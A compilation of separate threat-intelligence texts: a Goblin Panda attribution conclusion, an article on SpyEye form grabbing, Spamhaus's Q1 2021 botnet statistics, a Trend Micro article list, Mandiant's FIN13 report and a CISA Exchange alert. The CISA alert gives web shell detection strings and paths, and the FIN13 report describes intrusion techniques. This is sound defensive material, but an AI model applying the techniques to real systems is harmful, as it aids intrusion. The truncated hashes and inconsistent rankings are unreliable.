Goblin Panda is a threat actor linked to unspecified Chinese entities, and has been active in some form since at least 2013. Goblin Panda operations include extensive phishing campaigns with a focus on Southeast Asian entities, although historically this actor has relied on Rich Text Format (RTF) documents. While also potentially associated with more ambitious activities, the group appears focused on espionage operations with an emphasis on Southeast Asian countries such as Vietnam.
Another common artifact of historical Goblin Panda operations is the use of DLL search order hijacking. As documented by multiple entities, Goblin Panda frequently uses this technique to execute malicious payloads with a degree of trust via the initial, signed executable. Although the specific F-Secure item is not previously observed in historical Goblin Panda operations, and the identified 2014 activity is not linked to the entity, the overall technique as a follow-on from phishing is common.
Finally, the oddity of leveraging older vulnerabilities and execution pathways—as seen in the malicious documents in this campaign—is associated with previous Goblin Panda operations. As noted by Fortinet researchers, Goblin Panda previously leveraged vulnerabilities over five years old as part of campaigns, with the likely understanding that intended victim environments had not patched or moved on to more recent, secure software.
Combined with targeting emphasis—two of the four lure documents identified are in Vietnamese, implying targeting of Vietnam—the set of behaviors appears linked to historical Goblin Panda tendencies. Targeting is confirmed as official Vietnamese government notifications exist alerting authorities to some of the documents identified in the previous analysis.
Yet there remain concerns with drawing a direct link to Goblin Panda. For one, Goblin Panda is historically linked to either using weaponized RTF files or dropping payloads via OLE objects in Office documents, whereas the base64-encoded Cabinet file is a unique (and arguably more primitive) behavior. Additionally, while the documents analyzed in this report utilize a fairly standard Registry “Run” key persistence mechanism, Goblin Panda previously utilized less common pathways such as weaponizing the startup folder for Microsoft Word. Finally, there are no existing examples of Goblin Panda activity leveraging Cobalt Strike as a post-intrusion tool.
Overall the identified campaign contains some overlaps with previously identified behaviors and targeting associated with Goblin Panda. However, other items almost appear to be a regression from Goblin Panda activities and diverge noticeably from this group’s actions. Based on the available evidence, while some connection may exist between this campaign and historical Goblin Panda activity, the current phishing campaign does not appear highly correlated with the group.
## Conclusion
COVID-19 themed phishing and malicious documents will almost certainly remain a feature of the threat landscape for the duration of the pandemic. In this specific case, COVID-19 lures—along with other items using medical themes—appear linked to intrusion activity targeting Vietnamese entities from late 2020 through early 2021. While the activity in question may be linked to Goblin Panda behaviors, at present insufficient evidence exists to make such a link definitively.
Overall, defenders and analysts must continuously remain vigilant of opportunistic campaigns leveraging current event themes and similar mechanisms. Furthermore, the use of Cobalt Strike in this activity highlights a continuing trend of various adversaries—from criminal actors to state-sponsored entities—migrating post-intrusion operations to this platform. Finally, while the network infrastructure used in this campaign did not enable identification of additional, linked infrastructure, analysis and examination of such items through domain enrichment at time of observation can identify suspicious indicators in registrar and other characteristics which can enable more rapid discovery and response. |
# SpyEye Targets Opera, Google Chrome Users
The latest version of the SpyEye trojan includes new capability specifically designed to steal sensitive data from Windows users surfing the Internet with the Google Chrome and Opera Web browsers.
The author of the SpyEye trojan formerly sold the crimeware-building kit on a number of online cybercrime forums, but has recently limited his showroom displays to a handful of highly vetted underground communities. KrebsOnSecurity.com recently chatted with a member of one of these communities who has purchased a new version of SpyEye. Screenshots from the package show that the latest rendition comes with the option for new “form grabbing” capabilities targeting Chrome and Opera users.
Trojans like ZeuS and SpyEye have the built-in ability to keep logs of every keystroke a victim types on his or her keyboard, but this kind of tracking usually creates too much extraneous data for the attackers, who mainly are interested in financial information such as credit card numbers and online banking credentials. Form grabbers accomplish this by stripping out any data that victims enter in specific Web site form fields, snarfing and recording that data before it can be encrypted and sent to the Web site requesting the information.
Both SpyEye and ZeuS have had the capability to do form grabbing against Internet Explorer and Firefox for some time, but this is the first time I’ve seen any major banking trojans claim the ability to target Chrome and Opera users with this feature.
Aviv Raff, CTO and co-founder of security alert service Seculert, said that both SpyEye and ZeuS work by “hooking” the “dynamic link library” or DLL files used by IE and Firefox. However, Chrome and Opera appear to use different DLLs, Raff said.
This strikes me as an incremental yet noteworthy development. Many people feel more secure using browsers like Chrome and Opera because they believe the browsers’ smaller market share makes them less of a target for cyber crooks. This latest SpyEye innovation is a good reminder that computer crooks are constantly looking for new ways to better monetize the resources they’ve already stolen. Security-by-obscurity is no substitute for good security practices and common sense: If you’ve installed a program, update it regularly; if you didn’t go looking for a program, add-on or download, don’t install it; if you no longer need a program, remove it. |
# Spamhaus Botnet Threat Update Q1 2021
After a quiet end to 2020 in Spamhaus’ botnet world, the first quarter of this year kicked off in style. The major news surrounded the takedown of the Emotet botnet in January. Nonetheless, as one malware departs, others arrive on the scene, as proved by the 24% increase in the total number of botnet C&Cs Spamhaus researchers observed.
## What are botnet controllers?
A ‘botnet controller,’ ‘botnet C2’ or ‘botnet Command & Control’ server is commonly abbreviated to ‘botnet C&C.’ Fraudsters use these to both control malware-infected machines and to extract personal and valuable data from malware-infected victims. Botnet C&Cs play a vital role in operations conducted by cybercriminals who are using infected machines to send out spam or ransomware, launch DDoS attacks, commit e-banking fraud or click-fraud, or to mine cryptocurrencies such as Bitcoin.
## Spotlight: Emotet is gone, but other threats are emerging
In January 2021, an international coalition including authorities from various countries undertook a global action against the notorious Emotet botnet. Law enforcement agencies shut down infrastructure operated by the Emotet gang, sending Emotet botnet traffic to a sinkhole. The operation appears to have been a success as the botnet has remained inactive for over two months. However, Spamhaus Malware Lab experts deem that it’s highly likely that Emotet will come back into circulation.
Over the past few years, Emotet has flourished, earning itself the label of being one of the most dangerous online threats. Miscreants used it to gain an initial foothold in corporate networks, allowing them to move laterally within the victims’ network, which in many cases led to encryption with ransomware. Sadly, there’s no rest in the botnet world; no sooner is one botnet extinguished than it’s replaced. Rapidly, other botnet operators have rushed to fill the void that Emotet has left. Miscreants operating botnets like IcedID, Dridex, Quakbot, and TrickBot sent out large volumes of spam emails containing malicious documents this quarter. For most of these threats, the modus operandi is similar to that of Emotet’s, i.e., gain a foothold in corporate networks and encrypt them with ransomware.
## Number of botnet C&Cs observed, Q1 2021
First of all, let’s look at the number of newly observed botnet Command & Control servers (C&Cs) in Q1 2021. In total, Spamhaus Malware Labs has identified 1,660 new botnet C&Cs compared to 1,337 in Q4 2020. This is a 24% increase, with an average of 553 botnet C&Cs per month.
### Number of new botnet C&Cs detected by Spamhaus since late 2020:
- Highest: 800
- Monthly average: Q4: 445, Q1: 553
## Geolocation of botnet C&Cs, Q1 2021
In some countries, we have seen an increase of newly observed botnet C&Cs while other countries have dropped out of our Top 20. The United States holds onto #1 despite a small 3% drop in the number of newly observed botnet C&Cs. The Netherlands has overtaken Russia and finds itself in second position, with a total of 207 botnets, a 27% increase on Q4 2020. Additional European countries have experienced increases in new botnet infrastructures, including Germany (+77%), France (+82%), Switzerland (+23%), and the United Kingdom (+9%).
### Top 20 locations of botnet C&Cs
| Rank | Country | Q4 2020 | Q1 2021 | % Change |
|------|----------------|---------|---------|----------|
| #1 | United States | 348 | 338 | -3% |
| #2 | Netherlands | 163 | 207 | 27% |
| #3 | Russia | 247 | 195 | -21% |
| #4 | Germany | 56 | 99 | 77% |
| #5 | France | 39 | 71 | 82% |
| #6 | Switzerland | 48 | 59 | 23% |
| #7 | United Kingdom | 45 | 49 | 9% |
| #8 | China | 32 | 42 | 31% |
| #9 | Sweden | 34 | 39 | 15% |
| #10 | Latvia | 24 | 31 | 29% |
| #11 | Moldova | - | 29 | New entry |
| #12 | Hong Kong | - | 24 | New entry |
| #13 | Canada | 11 | 25 | 136% |
| #14 | Turkey | 17 | 20 | 47% |
| #15 | Argentina | - | 18 | New entry |
| #16 | Colombia | - | 18 | New entry |
| #17 | Brazil | 8 | 20 | 150% |
| #18 | Ukraine | 16 | 22 | 38% |
| #19 | Singapore | 31 | 16 | -48% |
## Malware associated with botnet C&Cs, Q1 2021
In Q1 2021, Emotet re-entered back in at #1. This comes as no surprise, given our efforts in helping Law Enforcement agencies take down Emotet botnet infrastructure in January 2021.
### New entries
- Emotet (#1)
- Raccoon (#8)
- Gozi (#10)
- BitRat (#12)
- FickerStealer (#15)
- Vjw0rm (#17)
- TriumphLoader (#17)
- Hancitor (#20)
### Departures
- Mirai
- QNodeService
- BazaLoader
- ZLoader
- CobaltStrike
- Smoke Loader
- Dridex
- RevengeRAT
## Most abused top-level domains, Q1 2021
For Q1 2021, the gTLD .com remains at the top of our rankings. A large majority of botnet C&C domains that Spamhaus Malware Labs identified were hosted on this TLD. However, we have seen many other listed TLDs improve their reputation with reductions across the board.
### Top-level domains (TLDs) – a brief overview
- **Generic TLDs (gTLDs)** – can be used by anyone
- **Country code TLDs (ccTLDs)** – some have restricted use within a particular country or region; however, others are licensed for general use giving the same functionality of gTLDs
- **Decentralized TLDs (dTLDs)** – independent top-level domains that are not under the control of ICANN
### New entries
- ru (#6)
- org (#10)
- biz (#12)
- us (#15)
- info (#18)
- co (#19)
- de (#19)
### Departures
- casa
- br
- cyou
- kr
- ai
- ac
- gq
## Most abused domain registrars, Q1 2021
After years of being #1 in this Top 20, Namecheap (US) continues to be the preferred domain registrar for miscreants registering botnet C&C domains. When will this change? We don’t know. But given the long history of abuse at Namecheap, we don’t expect it to be any time soon!
### New entries
- OnlineNIC (#13)
- name.com (#15)
- HiChina (#16)
- NameBright (#17)
### Departures
- URL Solution
- Hosting Concepts
## Networks hosting the most newly observed botnet C&Cs, Q1 2021
For this quarter, we have seen an East/West split, with a reduction in the number of botnet C&Cs hosted at providers from the East, only to be swiftly replaced by cloud service providers in the West. Various companies like invs.ru and selectel.ru dropped out of the Top 20 this quarter. This is very positive news, particularly when it comes to selectel.ru, who have been present in the Top 20 list for a long time.
### Newly observed botnet C&Cs per network
| Rank | Q4 2020 | Q1 2021 | % Change | Network | Country |
|------|---------|---------|----------|-----------------------|------------------|
| #1 | 106 | 131 | 24% | privacyfirst.sh | Germany |
| #2 | - | 53 | New entry | google.com | United States |
| #3 | 33 | 51 | 55% | ovh.com | France |
| #4 | 47 | 45 | -4% | cloudflare.com | United States |
| #5 | 15 | 35 | 133% | pq.hosting | Moldova |
| #6 | - | 32 | New entry | intersect.host | Seychelles |
| #7 | 55 | 31 | -44% | amazon.com | United States |
| #8 | 45 | 28 | -38% | endurance.com | United States |
| #9 | 26 | 26 | 0% | alibaba-inc.com | China |
| #10 | 15 | 23 | 53% | itldc.com | Ukraine |
| #11 | 17 | 21 | 24% | serverion.com | Netherlands |
| #12 | - | 20 | New entry | choopa.com | United States |
| #13 | - | 19 | New entry | hetzner.de | Germany |
| #13 | - | 19 | New entry | combahton.net | Germany |
| #13 | 28 | 19 | -32% | leaseweb.com | Netherlands |
| #16 | - | 18 | New entry | linode.com | United States |
| #17 | - | 17 | New entry | ispserver.com | Russia |
| #17 | - | 17 | New entry | colocrossing.com | United States |
| #17 | 25 | 17 | -32% | dedipath.com | United States |
| #17 | - | 17 | New entry | msk.host | Russia |
## Networks hosting the most active botnet C&Cs, Q1 2021
Last but not least, let’s have a look at the networks that consistently hosted a large number of active botnet C&Cs. Sadly, Microsoft heads up this Top 20, with 48 active botnet C&Cs, followed by Google with 43 active botnet C&Cs. Networks appearing in this listing tend to have poor network hygiene and fail to act on abuse complaints – the absence of change between the past quarters indicates this fact. The botnets remain active for months!
### Total number of active botnet C&Cs per network
| Rank | Q4 2020 | Q1 2021 | % Change | Network | Country |
|------|---------|---------|----------|-----------------------|------------------|
| #1 | 48 | 48 | 0% | microsoft.com | United States |
| #2 | 43 | 43 | 0% | google.com | United States |
| #3 | 33 | 33 | 0% | ipjetable.net | Switzerland |
| #4 | 23 | 23 | 0% | ttnet.com.tr | Turkey |
| #5 | 22 | 22 | 0% | charter.com | United States |
| #6 | 21 | 21 | 0% | inmotionhosting.com | United States |
| #6 | 21 | 21 | 0% | vietserver.vn | Vietnam |
| #8 | 18 | 18 | 0% | claro.com.co | Colombia |
| #8 | 18 | 18 | 0% | cloudvider.net | United Kingdom |
| #10 | 17 | 17 | 0% | ovpn.com | Sweden |
| #10 | 17 | 17 | 0% | une.net.co | Colombia |
| #10 | 17 | 17 | 0% | datawire.ch | Switzerland |
| #13 | 16 | 16 | 0% | mail.ru | Russia |
| #14 | 14 | 14 | 0% | chinanet-js | China |
| #14 | 14 | 14 | 0% | digitalocean.com | United States |
| #16 | 13 | 13 | 0% | mtnnigeria.net | Nigeria |
| #17 | 12 | 12 | 0% | kornet.net | Korea |
| #17 | 12 | 12 | 0% | hostry.com | Cyprus |
| #19 | 12 | 11 | -8% | eurobyte.ru | Russia |
| #19 | 11 | 11 | 0% | telstra.com | Australia |
Given the events regarding Emotet in Q1 2021, it will be very interesting to see what the next quarter will bring. Stay safe! |
# Research, News, and Perspectives
## Celebrating 15 Years of Pwn2Own
Join Erin Sindelar, Mike Gibson, Brian Gorenc, and Dustin Childs as they discuss Pwn2Own's 15th anniversary, what we've learned, and how the program will continue to serve the cybersecurity community in the future.
*Latest News May 25, 2022*
## S4x22: ICS Security Creates the Future
The ICS Security Event S4 was held for the first time in two years, bringing together more than 800 business leaders and specialists from around the world to Miami Beach on 19-21 Feb 2022. The theme was CREATE THE FUTURE.
*Security Strategies May 12, 2022*
## Security Above and Beyond CNAPPs
How Trend Micro’s unified cybersecurity platform is transforming cloud security.
*Security Strategies May 10, 2022*
## Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware
During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content.
*Research May 19, 2022*
## New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware
We recently found a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet). This APT group targets gambling websites on Windows, macOS, and Linux platforms using old and new malware families.
*April 27, 2022*
## Why Trend Micro is Evolving Its Approach to Enterprise Protection
*Security Strategies May 17, 2022*
## New Linux-Based Ransomware Cheerscrypt Targets ESXi Devices
Trend Micro Research detected “Cheerscrypt”, a new Linux-based ransomware variant that compromises ESXi servers. We discuss our initial findings in this report.
*Research May 25, 2022*
## Fake Mobile Apps Steal Facebook Credentials, Cryptocurrency-Related Keys
We recently observed a number of apps on Google Play designed to perform malicious activities such as stealing user credentials and other sensitive user information, including private keys.
*Research May 16, 2022*
## Uncovering a Kingminer Botnet Attack Using Trend Micro™ Managed XDR
Trend Micro’s Managed XDR team addressed a Kingminer botnet attack conducted through an SQL exploit. We discuss our findings and analysis in this report.
*Research May 18, 2022*
## The Fault in Our kubelets: Analyzing the Security of Publicly Exposed Kubernetes Clusters
While researching cloud-native tools, our Shodan scan revealed over 200,000 publicly exposed Kubernetes clusters and kubelet ports that can be abused by criminals.
*May 24, 2022*
## Examining the Black Basta Ransomware’s Infection Routine
We analyze the Black Basta ransomware and examine the malicious actor’s familiar infection tactics.
*Research May 09, 2022* |
# FIN13: A Cybercriminal Threat Actor Focused on Mexico
Since 2017, Mandiant has been tracking FIN13, an industrious and versatile financially motivated threat actor conducting long-term intrusions in Mexico with an activity timeframe stretching back as early as 2016. FIN13's operations have several noticeable differences from current cybercriminal data theft and ransomware extortion trends. Although their operations continue through the present day, in many ways FIN13’s intrusions are like a time capsule of traditional financial cybercrime from days past. Instead of today’s prevalent “smash and grab” ransomware groups, FIN13 takes their time to gather information to perform fraudulent money transfers. Rather than relying heavily on attack frameworks such as Cobalt Strike, the majority of FIN13 intrusions involve heavy use of custom passive backdoors and tools to lurk in environments for the long haul. In this blog post, we describe the notable aspects of FIN13's operations to spotlight a regional cybercriminal ecosystem that deserves more exploration.
## FIN13 Targeting
Since mid-2017, Mandiant has responded to multiple investigations attributed to FIN13. In contrast to other financially motivated actors, FIN13 has highly localized targeting. Over five years of Mandiant intrusion data shows FIN13 operates exclusively against organizations based in Mexico and has specifically targeted large organizations in the financial, retail, and hospitality industries. A review of publicly available financial data shows several of these organizations have annual revenue in the millions to billions in U.S. dollars (1 USD = 21.21 MXN as of December 6, 2021).
FIN13 will thoroughly map a victim’s network, capturing credentials, stealing corporate documents, technical documentation, financial databases, and other files that will support their objective of financial gain through the fraudulent transfer of funds from the victim organization.
## Dwell Time and Operational Lifespan
Mandiant investigations determined that FIN13 had a median dwell time, defined as the duration between the start of a cyber intrusion and it being identified, of 913 days or 2 ½ years. The lengthy dwell time for a financially motivated actor is anomalous and significant for many factors. In the Mandiant M-Trends 2021 report, 52% of compromises had dwell times of less than 30 days, improved from 41% in 2019. The dwell time for ransomware investigations can be measured in days, whereas FIN13 is often present in environments for years to conduct their stealthier operations to reap as much of a reward as they can.
Mandiant clusters threat actor activity from a variety of sources, including first-hand investigations by Mandiant’s Managed Defense and Incident Response teams. In a review of over 850 clusters of financially motivated activity that Mandiant tracks, FIN13 shares a compelling statistic with only one other threat actor: FIN10, the scourge of Canada between 2013 and 2019. A mere 2.6% of the financially motivated threat actors that Mandiant has tracked across multiple intrusions have targeted organizations in only a single country.
When considering the earliest and latest dates of identified activity (“operational lifespan”) for the groups, the data gets interesting. Most of the financially motivated threat clusters Mandiant tracks have an operational lifespan of less than a year. Only ten have an operational lifespan between one and three years and four have a lifespan greater than three years. Of these four, only two of them have operated for over five years: FIN10 and FIN13, which Mandiant considers rare.
## Mandiant Targeted Attack Lifecycle
Targeted attacks typically follow a predictable sequence of events. Establishing a foothold, escalating privileges, conducting internal reconnaissance, moving laterally, maintaining presence, and completing the mission are the major phases of a typical intrusion.
### Establish Foothold
Mandiant investigations reveal that FIN13 has primarily exploited external servers to deploy generic web shells and custom malware including BLUEAGAVE and SIXPACK to establish a foothold. The details of the exploits and the specific vulnerabilities targeted over the years have not been confirmed, due to insufficient evidence compounded by FIN13's long dwell times. In two separate intrusions, the earliest evidence suggested a likely exploit against the victim's WebLogic server to write a generic web shell. In another, evidence suggested exploitation of Apache Tomcat. Although details on the exact vector are sparse, FIN13 has historically used web shells on external servers as a gateway into a victim.
The usage of JSPRAT by FIN13 allows the actor to achieve local command execution, upload/download files, and proxy network traffic for additional pivoting during later stages of the intrusion. FIN13 has also historically used publicly available web shells coded in various languages including PHP, C# (ASP.NET), and Java.
FIN13 has also extensively deployed the PowerShell passive backdoor BLUEAGAVE on target hosts when establishing an initial foothold in an environment. BLUEAGAVE utilizes the HttpListener .NET class to establish a local HTTP server on high ephemeral ports (65510-65512). The backdoor listens for incoming HTTP requests to the root URI / on the established port, parses the HTTP request, and executes the URL encoded data stored within the ‘kmd’ variable of the request via the Windows Command Prompt (cmd.exe). The output of this command is then sent back to the operator in the body of the HTTP response. In addition, Mandiant has identified a Perl version of BLUEAGAVE which allows FIN13 to establish a foothold on Linux systems.
### Escalate Privileges
FIN13 primarily utilizes common privilege escalation techniques; however, the actor appears flexible to adapt when exposed to diverse victim networks. FIN13 has relied on publicly available utilities, such as Windows Sysinternal's ProcDump, to obtain process memory dumps of the LSASS system process and then used Mimikatz to parse the dumps and extract credentials. Mandiant has also observed FIN13 using the legitimate Windows utility certutil, in some cases to launch obfuscated copies of utilities like ProcDump for detection evasion. In one intrusion, FIN13 utilized certutil to decode a base64 encoded version of the custom dropper LATCHKEY.
FIN13 has also used some more unique privilege escalation techniques. For example, during a recent intrusion, Mandiant observed FIN13 replace legitimate KeePass binaries with trojanized versions that logged newly entered passwords to a local text file.
### Internal Reconnaissance
FIN13 is particularly adept at leveraging native operating system binaries, scripts, third-party tools, and custom malware to conduct internal reconnaissance within a compromised environment. This actor appears comfortable leveraging various techniques to quickly gather background information which will support their final objectives.
Mandiant has observed FIN13 use common Windows commands to gather information, such as whoami to display group and privilege details for their currently logged in user. For network reconnaissance, they have been observed taking advantage of ping, nslookup, ipconfig, tracert, netstat, and the gamut of net commands. To gather local host information, the threat actor used systeminfo, fsutil fsinfo, attrib, and extensive use of the dir command.
FIN13 rolled many of these reconnaissance efforts into scripts to automate their processes. For example, they used pi.bat to iterate through a list of IP addresses in a file, execute a ping command, and write the output to a file.
FIN13 has taken advantage of third-party tools, such as NMAP to support recon operations. In three FIN13 investigations, the threat actors employed a variant of the GetUserSPNS.vbs script to identify user accounts associated with a Service Principal Name that could be targeted for an attack known as “Kerberoasting” to crack the users’ passwords.
### Move Laterally
The group has frequently leveraged Windows Management Instrumentation (WMI) to remotely execute commands and move laterally, namely by employing the native wmic command, a version of the publicly available Invoke-WMIExec script, or WMIEXEC.
### Maintain Presence
Early FIN13 intrusions involved multiple generic web shells for persistence, but over the years, FIN13 has developed a portfolio of both custom and publicly available malware families to use for persistence in an environment. In multiple intrusions, FIN13 deployed SIXPACK and SWEARJAR. SIXPACK is an ASPX web shell written in C# that functions as a tunneler. SWEARJAR is a Java-based cross-platform backdoor that can execute shell commands.
### Complete Mission
While many organizations are inundated with ransomware, FIN13 nostalgically monetizes their intrusions through targeted data theft to enable fraudulent transactions. FIN13 has exfiltrated commonly targeted data such as LSASS process dumps and registry hives, but ultimately targeted users effective towards their financial goals.
FIN13 then exfiltrated the data via web shells previously deployed in the environment or using a simple JSP tool in a web-accessible directory.
## Outlook
Between the complex web of cybercriminal activity, traditional organized crime turning to cryptocurrency, aggressive targeting by North Korea, Chinese espionage, and the ransomware pandemic, Latin American cyberspace will continue to be an area for additional research for years to come. Notably, while ransomware has captured the cybercriminal zeitgeist, Mandiant has not observed FIN13 deploy ransomware in an intrusion at the time of this publication. FIN13 has remained focused on more traditional financially motivated cybercrime and has targeted both Linux and Windows systems throughout their operations.
Latin American security teams and executives should be aware of these threats, assess their current posture, and adapt accordingly. Mandiant encourages these organizations to continue to collaborate with the larger industry to mitigate these threats.
## Indicators of Compromise
**MALWARE** | **MD5** | **SHA1** | **SHA256**
--- | --- | --- | ---
CLOSEWATCH | 1c871dba90faeef9cb637046be04f291 | ea71757fcd45425353d4c432f8fcef4451cd9b22 | e9e25584475ebf08957886725e
DRAWSTRING | f774a1159ec25324c3686431aeb9a038 | 1f53342aaa71be3d25e6c28dd36f949b7b504a28 | 2d2a67fcce58c73e96358161e48
... | ... | ... | ...
## MITRE ATT&CK Techniques
**ATT&CK Tactic Category** | **Techniques**
--- | ---
Resource Development | Acquire Infrastructure (T1583), Develop Capabilities (T1587), Obtain Capabilities (T1588), Stage Capabilities (T1608)
Initial Access | Exploit Public-Facing Application (T1190)
Execution | Windows Management Instrumentation (T1047), Scheduled Task/Job (T1053), Command and Scripting Interpreter (T1059)
Persistence | Scheduled Task/Job (T1053), Create Account (T1136), Server Software Component (T1505)
Privilege Escalation | Scheduled Task/Job (T1053), Process Injection (T1055)
... | ...
## Mandiant Security Validation Actions
Organizations can validate their security controls using the following Actions with Mandiant Security Validation.
**VID** | **Name**
--- | ---
A102-144 | Command and Control - FIN13, DRAWSTRING, C2 Communication
A104-905 | Host CLI - FIN13, DRAWSTRING, Exclude From Scanning
... | ...
## Acknowledgements
This blog post would not have been possible without the exceptional efforts from Mandiant Consulting’s Incident Response team, Managed Defense Analysts, FLARE’s outstanding Reverse Engineers, Detection Wizard Evan Reese, Jeremy Kennelly for his expertise, Mandiant Threat Intelligence’s collections team, and all those unsung Mandiant Engineers that keep the cogs greased and turning. |
# Mitigate Microsoft Exchange Server Vulnerabilities
**Summary**
Updated July 19, 2021: The U.S. Government attributes this activity to malicious cyber actors affiliated with the People's Republic of China (PRC) Ministry of State Security (MSS). Additional information may be found in a statement from the White House. For more information on Chinese malicious cyber activity, refer to us-cert.cisa.gov/China. Note: This Alert was updated April 13, 2021, to provide further guidance.
Cybersecurity and Infrastructure Security Agency (CISA) partners have observed active exploitation of vulnerabilities in Microsoft Exchange Server products. Successful exploitation of these vulnerabilities allows an unauthenticated attacker to execute arbitrary code on vulnerable Exchange Servers, enabling the attacker to gain persistent system access, as well as access to files and mailboxes on the server and to credentials stored on that system. Successful exploitation may additionally enable the attacker to compromise trust and identity in a vulnerable network. Microsoft released out-of-band patches to address vulnerabilities in Microsoft Exchange Server. The vulnerabilities impact on-premises Microsoft Exchange Servers and are not known to impact Exchange Online or Microsoft 365 (formerly O365) cloud email services.
This Alert includes both tactics, techniques and procedures (TTPs) and the indicators of compromise (IOCs) associated with this malicious activity. To secure against this threat, CISA recommends organizations examine their systems for the TTPs and use the IOCs to detect any malicious activity. If an organization discovers exploitation activity, they should assume network identity compromise and follow incident response procedures. If an organization finds no activity, they should apply available patches immediately and implement the mitigations in this Alert.
**Technical Details**
(Updated April 14, 2021): Microsoft's April 2021 Security Update newly discloses and mitigates significant vulnerabilities affecting on-premises Exchange Server 2013, 2016, and 2019.
Microsoft has released out-of-band security updates to address four vulnerabilities in Exchange Server:
- **CVE-2021-26855** allows an unauthenticated attacker to send arbitrary HTTP requests and authenticate as the Exchange Server. The vulnerability exploits the Exchange Control Panel (ECP) via a Server-Side Request Forgery (SSRF). This would also allow the attacker to gain access to mailboxes and read sensitive information.
- **CVE-2021-26857**, **CVE-2021-26858**, and **CVE-2021-27065** allow for remote code execution. CVE-2021-26858 and CVE-2021-27065 are similar post-authentication arbitrary write file vulnerabilities in Exchange. An attacker, authenticated either by using CVE-2021-26855 or via stolen admin credentials, could write a file to any path on the server. CVE-2021-26857 is an insecure deserialization vulnerability in the Unified Messaging service. An attacker, authenticated either by using CVE-2021-26855 or via stolen admin credentials, could execute arbitrary code as SYSTEM on the Exchange Server.
To locate a possible compromise of these CVEs, CISA encourages organizations to read the Microsoft Advisory. It is possible for an attacker, once authenticated to the Exchange server, to gain access to the Active Directory environment and download the Active Directory Database.
(Updated March 12, 2021): Microsoft Security Intelligence has released a tweet on DearCry ransomware being used to exploit compromised on-premises Exchange Servers. Ransomware infections can have negative consequences to an affected organization, including:
- Temporary or permanent loss of sensitive or proprietary information
- Disruption to regular operations
- Financial losses incurred to restore systems and files
- Potential harm to an organization’s reputation
(Updated April 12, 2021): CISA recommends organizations review Malware Analysis Report (MAR) MAR-10330097-1.v1 – DearCry Ransomware for detailed analysis, along with TTPs and IOCs.
Victims of ransomware should report it immediately to CISA at www.us-cert.gov/report, a local FBI Field Office, or Secret Service Field Office.
**Tactics, Techniques and Procedures**
(Updated March 10, 2021): Microsoft has released a script that scans Exchange log files for IOCs. CISA strongly encourages organizations to run the Test-ProxyLogon.ps1 script as soon as possible to help determine whether their systems are compromised.
(Updated March 16, 2021): Note: Microsoft has released the Exchange On-premises Mitigation Tool (EOMT.ps1) that can automate portions of both the detection and patching process. Microsoft stated the following along with the release: "[the tool is intended] to help customers who do not have dedicated security or IT teams to apply these security updates. We have tested this tool across Exchange Server 2013, 2016, and 2019 deployments. This new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update.” Review the EOMT.ps1 blog post for directions on using the tool.
(Updated March 10, 2021): CISA recommends investigating for signs of a compromise from at least January 1, 2021 through present.
(Updated April 12, 2021): CISA has identified 10 webshells associated with this activity. This is not an all-inclusive list of webshells that are being leveraged by actors. CISA recommends organizations review the following MARs for detailed analysis of the 10 webshells, along with TTPs and IOCs. These MARs include CISA-developed YARA rules to help network defenders detect associated malware.
1. AR21-072A: MAR-10328877.r1.v1: China Chopper Webshell
2. AR21-072B: MAR-10328923.r1.v1: China Chopper Webshell
3. AR21-072C: MAR-10329107.r1.v1: China Chopper Webshell
4. AR21-072D: MAR-10329297.r1.v1: China Chopper Webshell
5. AR21-072E: MAR-10329298.r1.v1: China Chopper Webshell
6. AR21-072F: MAR-10329301.r1.v1: China Chopper Webshell
7. AR21-072G: MAR-10329494.r1.v1: China Chopper Webshell
8. AR21-084A: MAR-10329496-1.v1: China Chopper Webshell
9. AR21-084B: MAR-10329499-1.v1: China Chopper Webshell
10. AR21-102A: MAR-10331466-1.v1: China Chopper Webshell
(Updated March 13, 2021): A webshell is a script that can be uploaded to a compromised Microsoft Exchange Server to enable remote administration of the machine. Webshells are utilized for the following purposes:
- To harvest and exfiltrate sensitive data and credentials
- To upload additional malware for the potential of creating, for example, a watering hole for infection and scanning of further victims
- To use as a relay point to issue commands to hosts inside the network without direct internet access
- To use as command-and-control infrastructure, potentially in the form of a bot in a botnet or in support of compromises to additional external networks. This could occur if the adversary intends to maintain long-term persistence.
(Updated March 13, 2021): For more information, see TA15-314A Compromised Web Servers and Web Shells - Threat Awareness and Guidance.
The majority of the TTPs in this section are sourced from a blog post from Volexity, a third-party cybersecurity firm. Note: the United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government.
Volexity has observed the following files as targets of HTTP POST requests:
- /owa/auth/Current/themes/resources/logon.css
- /owa/auth/Current/themes/resources/owafont_ja.css
- /owa/auth/Current/themes/resources/lgnbotl.gif
- /owa/auth/Current/themes/resources/owafont_ko.css
- /owa/auth/Current/themes/resources/SegoeUI-SemiBold.eot
- /owa/auth/Current/themes/resources/SegoeUI-SemiLight.ttf
- /owa/auth/Current/themes/resources/lgnbotl.gif
Administrators should search the ECP server logs for the following string (or something similar):
`S:CMD=Set-OabVirtualDirectory.ExternalUrl='`
The logs can be found at `<exchange install path>\Logging\ECP\Server\`.
To determine possible webshell activity, administrators should search for `.aspx` files in the following paths:
- `\inetpub\wwwroot\aspnet_client\` (any `.aspx` file under this folder or subfolders)
- `<exchange install path>\FrontEnd\HttpProxy\ecp\auth\` (any file besides `TimeoutLogoff.aspx`)
- `<exchange install path>\FrontEnd\HttpProxy\owa\auth\` (any file or modified file that is not part of a standard install)
- `<exchange install path>\FrontEnd\HttpProxy\owa\auth\Current\` (any `.aspx` file in this folder or subfolders)
- `<exchange install path>\FrontEnd\HttpProxy\owa\auth\<folder with version number>\` (any `.aspx` file in this folder or subfolders)
Administrators should search in the `/owa/auth/Current` directory for the following non-standard web log user-agents. These agents may be useful for incident responders to look at to determine if further investigation is necessary. These should not be taken as definitive IOCs:
- DuckDuckBot/1.0;+(+http://duckduckgo.com/duckduckbot.html)
- facebookexternalhit/1.1+(+http://www.facebook.com/externalhit_uatext.php)
- Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)
- Mozilla/5.0+(compatible;+Bingbot/2.0;++http://www.bing.com/bingbot.htm)
